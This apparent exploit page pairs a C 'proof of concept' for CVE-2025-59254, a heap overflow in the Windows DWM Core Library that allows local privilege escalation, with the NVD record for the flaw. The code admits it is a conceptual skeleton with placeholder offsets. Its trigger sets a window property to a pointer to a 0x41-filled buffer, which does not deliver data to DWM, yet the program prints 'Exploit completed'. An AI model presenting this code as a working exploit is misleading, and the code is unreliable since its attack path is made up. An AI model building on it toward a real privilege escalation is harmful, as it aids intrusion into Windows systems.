CVE-2025-59254

// CVE-2025-59254 - Windows DWM Core Library Heap-based Buffer Overflow PoC // Vulnerability: Local Privilege Escalation via DWM Core Library // Target: Windows 10/11 DwmCore.dll // Note: This is a conceptual PoC skeleton demonstrating the exploitation approach. // Actual exploitation requires detailed reverse engineering of the target binary. #include <windows.h> #include <stdio.h> #include <stdlib.h> // Token stealing shellcode offset for Windows 10/11 (varies by build) // This is a placeholder - actual offsets must be obtained from the specific OS build typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); // Function to trigger DWM vulnerability via crafted window messages/properties BOOL TriggerDWMOverflow(HWND hWnd) { // DWM processes various window attributes and composition data // The overflow occurs when processing specially crafted DWM-related data // Step 1: Prepare oversized buffer to trigger heap overflow in DWM SIZE_T bufferSize = 0x10000; // Oversized buffer PVOID pBuffer = malloc(bufferSize); if (!pBuffer) return FALSE; // Fill buffer with controlled data and ROP chain / shellcode memset(pBuffer, 0x41, bufferSize); // Step 2: Send crafted data to DWM via window management APIs // DWM intercepts window messages for composition // The specific API call depends on the vulnerable code path identified // Example: Setting window properties that DWM processes SetPropW(hWnd, L"DWM_Overflow_Prop", pBuffer); // Trigger DWM to process the malicious property // This may involve window manipulation or DWM-specific APIs RedrawWindow(hWnd, NULL, NULL, RDW_INVALIDATE | RDW_UPDATENOW); free(pBuffer); return TRUE; } // Main exploit function int main(int argc, char* argv[]) { printf("[*] CVE-2025-59254 - DWM Core Library LPE Exploit\n"); printf("[*] WARNING: For authorized security testing only\n\n"); // Check current privilege level BOOL bIsAdmin = FALSE; HANDLE hToken = NULL; OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken); // Create a window to interact with DWM WNDCLASSW wc = { 0 }; wc.lpfnWndProc = DefWindowProcW; wc.hInstance = GetModuleHandle(NULL); wc.lpszClassName = L"DWMExploitClass"; RegisterClassW(&wc); HWND hWnd = CreateWindowW( L"DWMExploitClass", L"DWMExploit", WS_OVERLAPPEDWINDOW, 0, 0, 100, 100, NULL, NULL, GetModuleHandle(NULL), NULL ); if (!hWnd) { printf("[-] Failed to create window\n"); return 1; } printf("[*] Triggering DWM heap overflow...\n"); TriggerDWMOverflow(hWnd); // Cleanup DestroyWindow(hWnd); UnregisterClassW(L"DWMExploitClass", GetModuleHandle(NULL)); printf("[*] Exploit completed\n"); return 0; }

{"cve": {"id": "CVE-2025-59254", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:07.703", "lastModified": "2025-10-17T15:25:36.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows DWM Core Library allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59254", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}